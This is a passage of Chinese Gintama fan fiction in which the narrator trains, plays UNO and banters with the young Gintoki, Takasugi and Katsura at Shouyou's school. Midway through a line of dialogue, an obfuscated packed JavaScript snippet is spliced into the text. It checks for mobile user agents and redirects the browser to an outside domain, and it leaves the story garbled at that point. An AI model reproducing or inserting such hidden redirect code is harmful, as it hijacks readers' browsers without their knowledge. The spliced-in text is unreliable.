“呵呵……”感动一秒收回,我狞笑着,狠狠收紧手臂,一个头槌砸下去,“滚!” “哇啊——” 啧,浪费了我的温柔。我能这样煽情的时刻在整个人生里头都不多哦,不懂珍惜的笨蛋们。 狠狠地暴揍他们一顿,我摆摆手回房继续休息。 “你的脑袋是石头吗?是陨石吧……” “阿,阿萤……我们已经……明天……” 他们好像还有遗言,但不好意思,我已没兴趣听了。 浑身还酸痛,我揉着肩头关上房门,把走廊下四肢扭曲地躺着的三个笨蛋隔绝在我安静的世界外。 20.逗猫日常 午后的阳光依然炽热,蝉鸣间或从外边传来,让人沉浸在夏日的美好中。 课后的村塾道场上,我愣愣地看着自己一身剑道服,拿着竹刀,不太明白事情发展怎么好像超乎我想象,往一个奇怪的方向去了。 “我说……这是什么意思?”我看着三个只及我肩头高,明显不怀好意的小子,疑惑地问道。 “这都看不明白吗?练习啊。”扛着竹刀的银时翻着死鱼眼朝我咧出坏笑。 “阿萤你太弱了,我们要给你特训!”高杉戴上护具,小脸上满是认真严谨。 特训?我?就他们? 我翻了个白眼,转身就走,“我谢谢你们啊……昨晚不是说要保护我吗?怎么今天就变成了要我自强?呵,男人啊……不论年纪都是靠不住。” 三只小手有志一同地把我扯回去。 “少说废话,你老是瞎跑,我们怎么知道你出事?至少,你得有实力熬到我们赶到才行。”银时摸着下巴上下打量了我好几眼,然后老气横秋地摇了摇头,“你这么弱鸡,会拉低我们家平均水平的。” 我呵呵了,平均这个概念还是我指导他课业的时候告诉他的——他拉低了班级平均成绩。 “退一万步来说,就算要锻炼,也该是松阳来,你们凭什么来教我啊?”自己还是学生,好意思么?我低头鄙视着他们。 一字型站在我面前的三个小子不约而同抱手环胸,一脸的骄傲与自信。 “就你这水平,哪需要劳烦老师,我们三个来已经是降格了。”高杉说得理所当然。 “别以为是3V1,你还不够格呢,撑死就只能一对一学习。我们三个可是很忙的,每天只能抽一个来跟你练习。”银时说这话的嘴脸让我有点不爽。 我抽了抽嘴角,彻底无语,“别傻了,我快要做饭了。要是每天得练习的话,谁做饭谁晾晒衣服?还有,银时你的甜点也不要了吗?” 提到甜点,银时的死鱼眼精神了些,他皱着眉想了想,灵光一现,“这种事只要是人都能帮忙。这样吧,我和高杉,假发轮流帮忙就行。但是甜点你要继续做哦,他们不行。” “别随便决定这种事啊混蛋!”已经踩过坑的高杉明显猜到他打什么主意,忿忿地指着他喊。 “每周一二三,假发帮忙做饭。然后四五六的话是高杉,周日阿萤你再做就行。这样你就每天都可以练习了。”银时无视了他的反驳,很爽快地决定。 “混蛋,你又什么都不做吗?光把事情都推给别人了!”高杉一脸果然是这样的神情,怒瞪着他。 “我要盯着阿萤练剑啊,因为老子才是最强的那个。”银时嘚瑟地以竹刀敲着肩膀,那眼神狂得让人想抽他。 “那TM是以前,我不是打败过你了吗?”高杉舞着竹刀反驳。 我听其他小子说过,高杉就是因为来踢馆跟银时打架输掉了才加入松下村塾的,一开始还是输,慢慢追上来。现在两人几乎每天打架,输赢不定,动真格的话勉强算得上四六开,但银时还是强些。 “那才TM是意外,有种的话现在就打一场啊!”银时最不愿意承认就是曾输给高杉。 闻言,高杉果断地握着竹刀砍过去,两人很快你来我往地打得火热。 “你们就是为了找正当理由打架才拉上我的吧……”我叹气,他们一天不打个几顿架都不舒服,何必费心思找理由呢?不过能推掉这些无语的训练我也没其他意见就是了,“好了,你们慢慢打,我去做饭了。” “阿萤,我们先从基础开始吧。”一把竹刀横在我身前,全副武装的桂眼神认真,脸色也是少见的严肃。 我翻着死鱼眼,默默地看了他一会,转过身看那边互砍的两人,“哟西,晋晋加油,我们家的男人绝不能输!” “谁是你家啊!”因错愕被夺走一分的高杉羞恼地吼过来。 “假发,快把你的学生带走。”银时嘚瑟地跃开朝桂喊道。 “阿萤,看招!” 一轮单方面的激战后,我四肢大张地躺在地板上,双手酸麻得举起来都乏力。 我错了,再也不敢小看他们了……认识他们这么久,我从没看过他们正经地打斗,无论大人版还是小孩版,所以对他们的战斗力一直有误解。 松阳是对的,他们真的很强……那天我就不应该把他们支走,该走的是我才对! 他们果然还在生气,方才跟桂的友谊赛一点友谊的成分也没有,要不是有护具我脸都要打肿了!男人怎么可以这样小气记仇? 来吧,让我们丢掉护具和竹刀互殴吧,姐姐让你们见识成年人类能强到什么地步。我翻个身不服气地细数能碾压他们的方式。 “啊哈……没想到阿萤的基础还不错呐。”桂累瘫地躺在我身边,笑着赞了一句。 我怔了怔,那不是我的基础,是原来的月见萤。 不对,等等,他这句话说得有些诡异……莫名地有些不祥预感,我眨了眨眼,谨慎地沉默着。 这三个小子内里都差不多黑,自傲又臭屁,忽然夸人肯定有后招。 “那就不用练基础了,明天起我们就直接对打吧。实力提升还是要靠实战。”果然,银时立马就有了新的决定,“明天就由高杉跟她对打吧。” “不要随便决定别人的事啊……”高杉闷闷地翻了个身,他又输给了死对头,心情正不爽。 “怎么?你明天就没力气了吗?那就算了,阿银的手下败将是逊了些……” “谁没力气了!明天就明天。” 不是,你们有人注意我的意见了吗?太欠教训了,这群混蛋! 心气一起,我一个翻身坐起来,“不用等明天,我们现在就来决个胜负吧!” “昂?”高杉+银时+桂。 情景转换,我们四人围成一圈,中间随意放着几张五颜六色的牌。 “每位玩家会先发7张牌,剩余的牌作为牌库。我们按照顺时针方向依次出牌,出牌的颜色或数字需要与上一个出的牌相同。如果无法出牌,则需要从牌库中摸一张牌。当手上牌全部出完时,就获胜。” 拿出之前去杂货店买的UNO,随意解释一下规则,我对着三个新人毫无道德压力地出击,+4+3的牌子随意丢出,在他们越来越不爽的视线下轻松胜出。 “呸!”银时气愤地丢下一堆牌,“为什么那些特殊牌都是你摸到,你跟它们商量好的吗?” “除了第一把,其他都是你洗的牌好么?要说关系的话你比我跟它们更熟吧,怎么,自己不讨它们喜欢还怪我吗?你问问它们啊。” 我抛着他兜里最后一颗糖,尽量不那么嘚瑟免得刺激他,“话说,你已经没筹码了吧,要不先退下?我的手下败将~” “混蛋!到底是谁提议要上赌注啊?”连输了这么多回,银时爆发了。 “就是你这混蛋!”桂+高杉,不屑脸。 高杉抬眸,阴沉地扫了他一眼,“洗牌吧,别人的手下败将。” 被噎得脸蛋红了又青的银时抓乱了自己一头卷发,忿忿地瞪着面前最多铜板和糖的我,“我没筹码了,借我!” 借钱的人理直气壮成这样我也是第一次看到,但……正合我意。 “啧啧,借给你倒是没有问题,但对于金钱我可是很有原则的。银时,你要签下这张借据,才能从我手里拿到钱。”我爽快地拿出一张纸,笑盈盈地跟他道。 “你到底什么时候写这东西的?”桂好奇地看了看我身后,又凑过来看那张纸。 说实话,桂的水平也很烂,但他脑子不错,规则摸得透,靠着我放水赢过来了。 简单地说,这一轮就是我们三个合刷银时,偏偏他也觉得只是自己运气不行,骂骂咧咧地看着我的那张借据。 “十天内还款,我只收你双倍,二十天内还的话,我要收三倍,如果一个月还不上,你这个人就算是卖给我了。”生怕这个在课堂上只会睡觉的笨蛋看不懂,我尽责的解释规则。 “什么抢钱规则啊?比赌坊的九出十三归还可怕,你是吸血鬼吗?卖给你?你要干嘛?”银时抱着胸瞪过来,红眸毫不掩饰对我的质疑。 “我对毛都没长齐的你能干嘛?要不要借你自己选,我从来不勉强别人哦。” 我挑眉瞥了高杉一眼。 高杉会意地冷哼了声,“不借就闪边去,反正以你的烂人品和穷鬼运气,也不可能赢,不要再自找羞辱。乖乖做饭去吧,呐,别人的手下败将。” “说的也是呐,从开始到结束都是垫底,确实差劲了点。对吧,别人的手下败将~”桂甩了甩马尾,笑眯眯的劝道,“输给了我们的银时,你就先退出吧。” 刷人的时候,桂是一点也没想过没了银时他就是垫底那个。他虽然聪明,但架不住这种东西不是纯粹靠脑子。 当然,我和高杉也非常有默契地没提醒他。 手下败将这几个字的不断重复让那双红眸迸发出红光,把银时为数不多的理智也烧没了。 “退你爹啊!不就是签名?老子就不信今天赢不了你!”银时一头天然卷都炸起来了,一把扯过借据干脆地按下手印。 我勾着高杉的脖子,好笑地问道,“晋晋啊,他一直这样好骗吗?” “不,他只是脑子常常不在线而已。”高杉意味深长地瞥了我一眼。 然后,银时的反击战正式打响。 半小时后。 “摔!你怎么可以自摸+三次!”在我放下最后一张牌后,银时再次怒摔自己手上的一堆牌。 “UNO靠的是运气,你自己倒霉就认了吧。”我笑眯眯地数着三张借据,上头都是同一个人的签名和手印。 “银时啊,作为成年人我再给你一个建议,赌徒心理不要得啊,及时止损很重要。再这样下去,不用到月底你就可以把自己断卖给我了。” 银时看着那三张纸,已经把 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等我冲锋陷阵般做好饭时,松阳已一身轻松地换过衣服候着了,那三只被他教训完后直接丢去浴室。 时间比平日晚了许多,我们的肚子都饿了。松阳宠孩子放任他们闹,我饿不了便自告奋勇地去催催他们。 唰的拉开浴室的门,我手撑在门上,语调懒散,“小子们,你们以为自己是要出门跟crush约会的小女生吗?赶紧洗洗□□的污垢就滚出来吃饭吧,本大人快饿死了!” 不大的浴室烟雾弥漫,三个正背对着门洗头的半大男孩呆滞了一下,嘭地齐刷刷跳进浴池里,气急败坏地吼过来,“阿萤你个混蛋,怎么可以偷看男人洗澡啊!你的节操呢?你的羞耻心呢?” “啊?不好意思,这里有男人这种东西吗?再说,我可没看到任何会让人不好意思的东西哦。”我目不斜视,咧了个诡异的笑,“想要让我不好意思,至少得等个十多年后吧。” “别以为现在自己胸大,你小时候也是个飞机场而已啊,而且以后都不会长了。”银时炸毛地跳起来,怒指,“我的阿姆斯特朗回旋加速喷气式阿姆斯特朗炮可是会不停地长大变强的啊!” “哇啊,蠢货,别跳出去啊!”高杉+桂连忙拉着他。三人在浴池折腾,水都被溅了一地。 “现在你的阿姆斯特朗回旋加速喷气式阿姆斯特朗炮毫无杀伤力啊白痴!银时,别自取启辱了!” 我摊手叹口气,转过身,然后回头不屑地道,“啊,真小。” “说谁呢!”暴怒的高杉+银时+桂。 紧接着,在我关上门的瞬间,一堆肥皂和毛巾,盆子被扔了过来,全部挡在门后。 我笑得瘫在地上,这三只炸毛的小猫真的太好玩了! “真是的……”松阳头疼地看着我,笑容纵容又无奈,“虽然他们确实还小,但里面雾气那么大,明明就什么都看不清,阿萤你还逗他们。” 擦了擦笑出来的眼泪,我心情极好地推着他往回走,“男孩子当然要趁小时候逗啊,大了又矫情又打不过哈哈,走吧,菜都凉了。” 那几个都是傲娇的性子,长大后一点都不好逗……高杉太阴郁,银时太圆滑,桂太脱线,不趁着现在耍个够,怎么对得起这一段奇遇呢。 想到刚才他们的蠢样,我就压不住笑意。 “你啊……心性跟他们也差不多,难怪他们都不把你当大人。”松阳摸摸我的头,想起什么般笑着道,“对了,我打听到隔壁村有个机械师傅,你的怀表不是坏了吗?可以去那里试试。” “真的吗?”我惊喜地再三确认。 这个时间天人才入侵没多久,很多科技和文明还没带进地球,怀表是复杂的仪器,我一直烦恼不知道怎么才能修好。没想到才听我说过一次的松阳居然会记得,还帮忙打听。 “太感谢了~” “说什么呢,如果能修好就好了。” 修好吗?我脚步一停,看了眼走廊外的庭院。篱笆边上我在春末才种上的花已经冒出花苞了,不知不觉我在这里已经度过一个季节交替。 如果修好了,那么这一切……是不是也到了结束的时候? 想到这个,我的心底浮起一抹下意识的抗拒,但更多的却是茫然。 结束,是个不太美好的词。但有时候,也代表一个新的开始。不该存在的循环,结束才是应该的不是吗?可为什么会有抗拒……是因为不舍吗? “喂,你在那发什么呆啊?表情也太丑了。” 我蓦地回神,银时顶着一头被松阳拿毛巾擦得乱糟糟的炸毛卷发死鱼眼看了过来,依然没说什么好话。 “本大人此生都不会丑。而且那不是发呆,是思考,我的手下败将。” “滚啊——” 罢了,不多想,日子还是得欢欢乐乐地过啊~我的未来,好像从来都不能以寻常来期待。 21.村塾日常 这是我人生第一次那么没凶横且没道德,拿着竹刀朝一个活蹦乱跳的小子狠狠地劈去。 “可恶,说多少次吃完饭的碗筷要放进盆子里,下次再乱放不放过你啊!”我一个横劈又被他跃起轻松躲开,气息都不稳了。 完美后空翻的银时扛着竹刀,气定神闲地挖了挖鼻孔,“放了的,谁知道你盆子那么多~而且你倒是认真点,这么多下都没沾到我的一点,狠话倒是放了不少。赶紧的,赢了才能换人啊。” 闻言我更气愤了,什么叫不认真,我已经很认真寻他破绽了,但他闪得太快了! 猛地站定,手握刀柄,我沉下气息看着他。 “喂喂,这么快就没力了吗……” 就是这一瞬!我一个箭步,动作极其迅速地突刺。他大吃一惊,瞬息间反应过来避开。预判了他的动作,我极快地转手腕,竹刀一下戳在他戴着护具的胸口。 力度不算大,但在我整个人前扑的冲力下,大意轻敌的小子还是被戳得往后跌。 “哟西~中了~”我欢喜得跳起来。 “混蛋!那么大力,我的哔——膜都要被你刺穿了!”意外又不忿的银时跳起来怒指,口无遮拦地吼道。 竹刀随手轻劈了一下他的头,我不赞同地训斥,“好好说话,别说这东西你没有,就是有也不是长在胸口。” 捂着头的小子冷哼一声,握紧竹刀,“才一下而已,别嘚瑟啊……现在,轮到我进攻了!” 那气势让我莫名脊背一寒,干脆地转身就跑。 “松阳~~救命啊!” 我拿着竹刀朝那个微笑的人扑过去,动作极灵活地在他抬起手臂时从身侧绕过,躲到他身后。 松阳笑眯眯地手起刀落,啪的一下,追过来的银时被击中,随后一个横劈应声飞甩出去。 “太狡猾了!”银时一把跳起来,气愤地怒指,“居然找外援,阿萤太狡猾了!” 我一点愧意也没有,扛着竹刀笑道,“是谁说只要赢就可以了,什么招数都无所谓。我的绝招就是找靠山啊,怎样,不服就上啊~~” 气得一张小脸都扭曲的银时二话不说,脚步一踏就冲过来。 “气势不错哦~”松阳连护具也没戴,笑眯眯地随手挥刀,接下他的攻击。 “哇哦~上吧,我们家的男人绝不认输~”躲掉训练的我进入观众模式,大喊安可。 “你到底是替谁加油啊?”被打飞的银时怒了。 “蠢货,谁需要就替谁呗。”高杉结束跟桂的对打,鄙夷地瞥了他一眼。确实,松阳是绝对不会输,所以也不太需要加油。 竹刀抗衡着松阳,银时狠狠地瞪了我们一眼,“高杉你个手下败将给我记住!” “老师,上啊,干掉他!”高杉同学一秒进入观众模式。 我乐得轻松地欣赏战斗,不得不说,在这里能跟松阳过这么多招的还得是银时。裤子被拉了拉,我回头,是村塾的小姑娘。 “阿萤姐,我们对练……可以吗?”她是松阳经常称赞的好学生之一。 我朝她灿笑,“当然,来吧~” 桂自告奋勇充当裁判,手刀落下,小姑娘气势十足地攻了过来。 我挡开她的攻击,那种跟那三小只截然不同的感觉让人不习惯。动作,气息,甚至刀在空中的弧度,都慢了许多,视线清晰了许多。最重要的是,没有那种压迫感,让我有种游刃有余的自在。 攻破!我眼底一厉,竹刀狠狠向前,正中她的胸腹,小姑娘应声倒地。 “一本得分~”桂伸手终止一局,笑着朝我道,“阿萤进步很大哦。” 我愣了愣神,手指握了握,一时间被他们完虐的自信心爆棚,“那也是你们教得好。” 把人拉起来,确定没受伤后才摸摸她的头,“不愧是我们村塾的好学生,很厉害哦~” “什么嘛,我刚输给你呢。”小姑娘皱了皱鼻子,不服气地道,“等我再努力些,我们再来。” “好,我等着呢~” “哦哦,阿萤,我也要跟你对练~”刚才围观的几个孩子笑着挑战,个个跃跃欲试的样子让我有点无奈。 “你们啊,别把我当什么对手好吗?我就是个旁听的,不参加考试的哦。”我是人缘太好还是太不好啊,怎么都逮着我来? “没关系,反正我们会手下留情的~”小子们哈哈大笑着围着我,确实有点欠揍。 我一秒燃起来,撸起袖子。 “等下输掉可别哭~” 悄悄拉开道场的门,里头那个盘腿背对我们坐着的身影散发一股浓郁的黑气,连那头银白色的天然卷也快要被染黑般阴沉。明知道我们在偷看,他还是坚定地无视,一副绝对哄不好的倔强样。 “真生气了?”我小声问道,尽管我不太清楚他在生什么气,但好像是因为我,“是因为早课时我路过丢石头把打瞌睡的他叫醒了吗?” 被我压在手肘下的桂点了点头,“真生气了,不过也许是因为早上的牛奶被高杉打翻,呵呵,他这反射弧也太长了吧?” “反射弧长的是你们两个好吧。”桂身边的高杉瞥了我们一眼,没好气地道。 我和桂无辜地齐齐看向他。 “假发,昨天不是说好了吗?今天要给阿萤加练,结果你们都跑去跟其他人对练了。虽然我们跟老师单独练习,但还是打乱我们节奏啊。”高杉把小手缩进袖子里,别过头闷闷地道,一副不想搭理我们两个的样子。 啊,就这?我有点不理解,“可是我今天也很努力了啊。” 就算那几个小子实力不如他,车轮战也很耗费体力的好吧。 “所以说,阿萤你真的是太无感了。”松阳的声音忽然在头顶响起,我们三个吓了一跳地回头,他正弯身笑看着我们。 “银时他,很认真地给你制定计划哦,平时连功课都不写的说。”松阳摸着下巴,语气有点羡慕。 “真的吗?”我受宠若惊,“原来他在房间丢得乱七八糟的鬼画符是计划书啊,害我收拾了半天。可是,人生就是计划赶不上变化嘛。” 松阳+高杉+桂:…… 受不了他们的眼神谴责,我叹口气,“知道了知道了,我现在就为我的不识好歹道歉。真的是……小屁孩。” 走了进去,我停在银时身后,轻咳了一下,“那个……银时,我……” 银时顿了一下,慢慢回头,绯红剔透的眸子没有任何情绪地看着我,不见平时的懒散,看起来有点陌生。 对视有点尴尬,我摸了摸鼻子。 “啊哈,对不起嘛~我给你跳个舞吧~”我眨了眨眼,忽然干笑道。不等他反应,我手舞足蹈地跳起以前犯错时给我妈跳的她欧巴的舞蹈。 “sorry,sorry,sorry……” “蠢货,你在犯什么傻!”银时眸子瞪大,眼神透露出一股浓浓的鄙视。 “啊哈……”跟一个小孩子道歉什么的,好像有些难为情我才想着另辟途径的。明明之前每次跳这个舞,我妈妈都会马上笑翻的呀。 我抿了抿唇,继续笑着道,“我那个……明天,补上今天的计划可以吗?我可以加练哦~” 抱着刀默了好一会儿,银时才懒懒地站起来,“随便你,反正你再怎么练,也就是那个水平……” 啧,这小子脾气还挺大,我略感无措,不知道该怎么哄一个十来岁的小男孩。 因为早就跟成年后的他相处过,所以比起其他小孩,我对他还是有些别扭,下意识会平等对待。十多年后的那个坂田银时世故狡猾,能屈能伸,就算被大家嘲笑也不会生气,要不就是一个草莓巴菲就能哄好。 嗯……也许芭菲还是能哄眼前这个十来岁的银时。 “别管他了,阿萤。”在我打算给他增加甜点当赔罪之际,高杉抱手斜靠在门边,挑眉讽笑,那笑容带了八分鄙夷,“反正他的水平也就那样,跟着他你怎么练也就那样了。还生气,你以为自己是跟乡下老妈子吵架赌气不吃饭的蠢儿子吗?” “啊?你在说什么大话?明明就一直输给我!”银时立马炸毛地蹦起来,怒指着他。 “那TM是之前,现在哪有一直输?”高杉一副你实力不行记忆力也不好的表情,哼了一声,“今天不是就赢了吗?” “啊呸,那是因为我先跟松阳打完,体力不继!”银时不忿地申辩,“你乘人之危而已,奸诈!” “输不起的人才那么多藉口,你体力不行难道是我的问题吗?”高杉摊手,理所当然地道,“难道敌人会等你休息够了再进攻?银时,菜就多练。” 那看傻子的眼神不说银时,连我都有点看不过去。而那句‘菜就多练’好像是我之前嘲笑他写字不够美观的……但愿银时不知道这个。 银时气愤地把护具丢过去,抄起刀怒指高杉,“来啊,别想赢了就走,老子现在就让你知道什么叫强者!” “正好,我也不想看到你这张蠢脸。”高杉再度咧出三分嘲讽七分鄙视的笑,丢开护具,拿起竹刀就朝着他的脸攻了过来。 两人习以为常地对打,我慢慢地退回门口,无奈地摇摇头,“松阳,你也不阻止他们?快要吃饭了哦。” “没关系,男人有自己的发泄方式。”松阳笑眯眯的很放心,拍了拍我的肩膀,“别担心,他们不会生你的气,那些家伙不高兴的话打完一顿就忘记了。” 我感动地双手交握祈祷状,“辛苦我们晋晋了,真是个好孩子。” “诶,阿萤看得出来?”桂表示很意外。 “拜托,我又不是瞎子。”高杉把注意力都拉到自己身上了,我怎么可能不知道他的意思? 这些孩子总是在一些奇怪的地方让人心软,让人心疼。 “等下甜品给晋晋加餐……不过,银时真的不会生气吗?” “不会的哦,”桂抬头笑着道,“那家伙没有这么细的神经。” “最坏的脾气总是给最亲近的人么……这样说的话,银时生我气也可以接受哦。”我自己好像也是这样,对着其他孩子会温柔很多。 “家人不就是这样吗?会吵架,有时候说话也会过了火,但是都知道对方的心意,不会真的生气。再说,阿萤也好好地道歉了。”松阳看着那两个打得火热的孩子,伸手揉了揉桂的头,“我们去准备晚饭吧,让他们好好交流一下。” “啊哈哈,这么说感觉我成了他们play的一环。”我顿悟了,噗嗤一下笑出声。 “什么play?”松阳好奇。 “就是……他们想要互殴的……剧本~” “他们的脑子想不到这些吧哈哈……” “那倒是。” “哦对了,那个道歉之舞可以教我吗?好像挺有趣的样子~” “松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955039|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳,你不适合那个路线啦……” 草莓奶油蛋糕的味道比起烤的还是差了一点意思,但是我用火灶来烘的话口感也还可以。在这个落后的时代,能做出来已经很不错了。 我把自己碗里的草莓夹到高杉的碗里,奖励他今天的拔刀相助。 高杉小脸微红,眼神漂移地低下头,在银时羡慕的目光中一口咬下,甜得他眯起眼笑了。 银时扁着嘴,低头一看,瞬间悲愤。他碗里留着打算最后才吃的草莓,被松阳夹到了我碗里。 在他忿忿不平的目光中,我和松阳对望一眼,不约而同地把红萝卜夹到他汤碗中。 忿忿不平的目光转为难以置信,银时还没瞪过来,碗里啪的一下又多了两块红萝卜。他抬头一看,高杉和桂收回筷子,别过头看远方。 脸蛋上蹦着十字路口,银时握着筷子陷入一片阴影里头,背后都快要燃烧起来。 我笑着摇头,把碗里的草莓夹到他面前。 火焰瞬间熄灭,他抬头星星眼看着我,感动得无法言喻的样子让人发笑,整个背景都仿佛飘荡着粉色的小心心。 我们几人相视而笑。 哎,这种乱七八糟的默契好像又增加了。 因为银时生气了,松阳自告奋勇要给他讲床头故事。 妒忌得面目全非的高杉拉着我和桂躲在门外偷听。 “一天夜里,小男孩醒来去厕所。” “老师,为什么要是小男孩,这种一听就倒霉的事情为什么不能是个小女孩?”银时抱着被子颤着声音请求换主角。 “谁知道门突然开了,小银走出去一看,外面根本没有人,只听到一阵笑声在问他,你猜我在哪里?” “为什么换成小银了啊!”银时嗖的一下钻进被窝里头瑟瑟发抖。 这家伙还真是怕鬼……我有点不忍,偏偏松阳还沉浸在故事里一般,意犹未尽地沉了声音,在一片夜色中更觉诡异。 “小银很害怕,便跑了。然后,一个身影一直跟着他……小银一抬头,发现对方居然是没有头的!那么笑声是哪里传来的呢?原来……那个头就在你的后面啊~” “啊——够了,我以后都不会发脾气,也不会在交手时乱来了!”银时崩溃地大叫,一头卷毛都竖起来了,“松阳你不用继续了,你以为你是哄幼稚园儿子睡觉的老妈子吗?” “啊哈哈,不用继续了吗?有点可惜呢……”松阳笑得有点遗憾。 “哪里可惜啊?讲下去才恐怖好吧!”银时脸色苍白,非常坚决地摇头。 “唉,就是这样才可惜。” “老师!” “不过,你能理解老师的苦心就太好了。”松阳笑眯眯地竖起食指摇了摇,“越是强的对手,越要保持冷静。一旦让情绪掌控,那原本的剑路就会乱了,真正的实力反而无法施展出来。记得了哦~银时。” 裹着被褥的银时沉默了好久才慢慢地探出头,流着一脸的宽面条泪,乖乖地点头,“老师,下次能不能直接说啊……不用讲故事的。” “那是因为你让阿萤担心了~”松阳抬手拍拍他的头,“她连晚饭都没吃多少呢。” 我:不,那是因为做蛋糕时吃了一块不饿…… 银时鼓着小脸,纳闷地道,“她是减肥吧……切……我又没生她气……反正,明天加练就是了。” “真的吗?银时~”我从一边冒出来,从他身后蓦地抱着他。 “哇啊——”应激的银时吓得顿时抓狂大叫,“果然有东西在后面啊——” “啊哈哈哈……”我下巴压在他发顶,尽量不笑得那么放肆,“别怕啊银时,不就是阿飘而已。” “谁,谁怕啊,我就是……被你吓到而已!阿银怎么可能会怕这种东西?啊哈哈,我可是武士来的!”银时脸色都发白了,还逞强地否认。 实在不忍直视这副担心的样子,我记得松阳说过他是在尸体中存活下来的,怎么还怕这些?作为坚定的唯物主义者,我安慰般给他支招,“这样吧,银时,你要是再遇到这些,或者害怕阿飘们,你就大喊我的名字吧。” “啊?你是召唤兽吗?喊你出来跟鬼魂大战三百回合?”银时不信任地睨向我。 “哼哼,我可是生于朝阳里,活在阳光下的社会主义接班人,一身浩然正气,定然是什么魑魅魍魉都不敢靠近的。你就当念咒,我替你驱邪~” 松阳看不下去,抬手给我额心弹了一记,“你以为自己是式神吗?别说这么不吉利的话哦。” “好痛!”他没留手,我痛得泪眼汪汪的。 银时幸灾乐祸地抬头,忽然一愣,“诶,阿萤你矮了好多。” “笨蛋,怎么说话呢,是你长高了。”我放开他退后一点,原本不及我肩膀的他已比我肩膀还要高一点了。 “诶~长高了啊~”银时很高兴这个发现,挖了挖鼻孔,“但没觉得高杉有长高,他的身高果然已经全剧终了吗?” “长了的!”高杉怒气冲冲的声音从后面传来,人也咚咚咚地跑过来,要跟银时比高。 我跟松阳摸着下巴,把桂也拉了过来,在门柱上重新刻上他们的身高。 松阳让我也站过去,给我也刻了一道,我顺手把他也刻了一下。 “啊哈~我还是第二名的~你们要加油哦~” “你个成年人好意思吗?”高杉+银时+桂。 22.课外实践 把马尾扎好,抚平衣服上的折痕,我满意地看着镜中的自己。 “美果然是不分性别的,穿起男装垮裤我就是个能风靡万千少女的芳心纵火犯……” 眼角眉梢都是明亮英气,衬得精致的面容有一种漫不经心的中性美,随便一笑就如发光般耀眼。我吹了吹刘海,对着镜中笑容灿烂的美少年比了个飞吻。 “阿萤,你行了没?所有人就等你一个了。”银时咋呼的声音从大门口传来。 我拿起斗笠,连忙跑了出去。 今天是外出农活的日子,松阳跟附近的农户商量好,让学生们去帮忙顺便教授相关学识,而农户会送些瓜果作为报酬。 “少年啊,安静等候女性是男人的基本礼仪。这么没耐性将来是泡不到妞的哦。”我跑出来才发现松阳还没到,不由得瞪了他们一眼。 “那也得有女性啊,你就一汉子。”银时挖着鼻孔扫了我一眼,指了指村塾的姑娘们,“她们还没你慢呢。” 村塾的小姑娘也是一身男装的方便打扮,看到我小拳头都搁在颊边,围着我哇哇乱叫。 看吧,最会欣赏美的果然只有女性。 “她们只是还没触发女性的本能而已。”我摊手,随意抬头,一抹白色晃入眼帘。 那边向我们走过来的人穿着普通的男式和服,身材高大,带着斗笠,只隐约看到一丝白色的发丝。没有由来的,我直觉他在观察着我们,很隐晦。 “人齐了吗?我们出发了哦。”松阳手缩在袖子里,关好门对我们笑道。 一群学生叽叽喳喳地聊着天,那样子仿佛不是去农作而是去郊游。高杉和银时习惯性地抢占松阳身边的位置,你推我攘的谁也不让谁,桂跟我有一搭没一搭地聊着。 那人跟我们擦身而过的时候,我下意识地偏头看了一眼,猝不及防地对上一双淡漠得有点可怕的眸子。 心神微颤,那双眼让我莫名地想起神威。但,那瞬间流转在眼底的,是不同于神威那种纯粹杀意的复杂,是夹杂着刹那的哀伤与释怀,也是向往与极浅的羡慕,太多的情绪无法被刹那洞悉。 “阿萤?”桂回头看了我一眼,“怎么了吗?” 我才发现自己不自觉停下了脚步,愣神之际前面的几人也看了过来。摇摇头,我跟上他们,“没什么,走吧。” 坐在田边的石凳上,我神情认真严肃,双眼炯炯发亮地观察着那边的人们。 不愧是日常劳作的男人们,那手臂的肌肉看着就结实,强劲的臂弯满满的安全感,跟村塾里的孩子们完全不一样。 因动作而微微打开的衣襟,露出大片的胸膛,那线条流畅分明,每一个弧度都有力量的美感。那条隐约的线还延伸向下,哇哦……这腹肌得有八块…… 蓦地,一抹银白色,暗紫和黑色挡住了我绝佳的视野。我面不改色地伸出手全部拨开,嗯……这古铜色的皮肤衬得那胸肌更有力,像巧克力般甜蜜诱人。 才看了一眼,那三个突兀的颜色又冒出来了。我偏过头,从他们侧边看过去,才一眼,又被挡住。 “我说……你们不是应该在那边听讲解动作吗?”没好气地把他们的头压下去,我不耐烦地催促,“快过去,不然等下笨手笨脚地浪费别人的秧苗了。” “那种东西插进地里就行,谁不懂啊?”绯红的死鱼眼透着浓浓的鄙视,银时挖了挖鼻孔,“口水……滴下来了。” “开什么玩笑,才这点程度。”我才不信,手拂了拂他们,连眼尾余光都懒得给他们。 “阿萤,你在看什么?”桂好不天真地问道。 “看一些我们大女人应该看的美景。”我把那个碍事的银色天然卷再次压下,眸底带着惊叹。 我靠,之前怎么没发现次郎那个腼腆的哥哥有这么好的身材? 果然男人就不应该穿衣服! “白痴,你把话都说出来了!”银时没好气地抬手一把扯着我的脸颊。 “省省吧,大女人三个字除了女,你符合哪个字了?不但不是大人,连人都快不是了!”高杉掐着我的另一边脸把我的视线拉下来。 “疼!”脸颊被两人掐着,我痛得眼泪都出来了,拍开他们的手,瞪着他们,“你们自己没有就不能让我看看别人吗?不看这些村塾里头没有的美景,怎么熬过这无聊的岁月?” “少啰嗦,将来我肯定比他们还要厉害。而且比起他们,松阳简直就是巨人派啊。”十字路口蹦在脸上,银时非常不满我把村塾全体否定,把唯一的成年男人拉了出来举例。 “喂,别把老师牵扯进这些乱七八糟的事里头啊!”高杉拍了他一记。 “不,他是阪神派的。”我拂开他们,一本正经地纠正。 “谁跟你说这个啊!”高杉+银时,无奈脸。 “啊啊,你们将来就会懂,家中的红旗看多了也想要看看外头的彩旗嘛。”我受不了地拍拍他们的头。 “家里有旗就别太贪心,外头那些再色彩艳丽也不是你的。当心乱看的话被人家的护旗手报复啊。”银时撇撇唇,也不知道他听没听懂,话倒是说得漂亮。 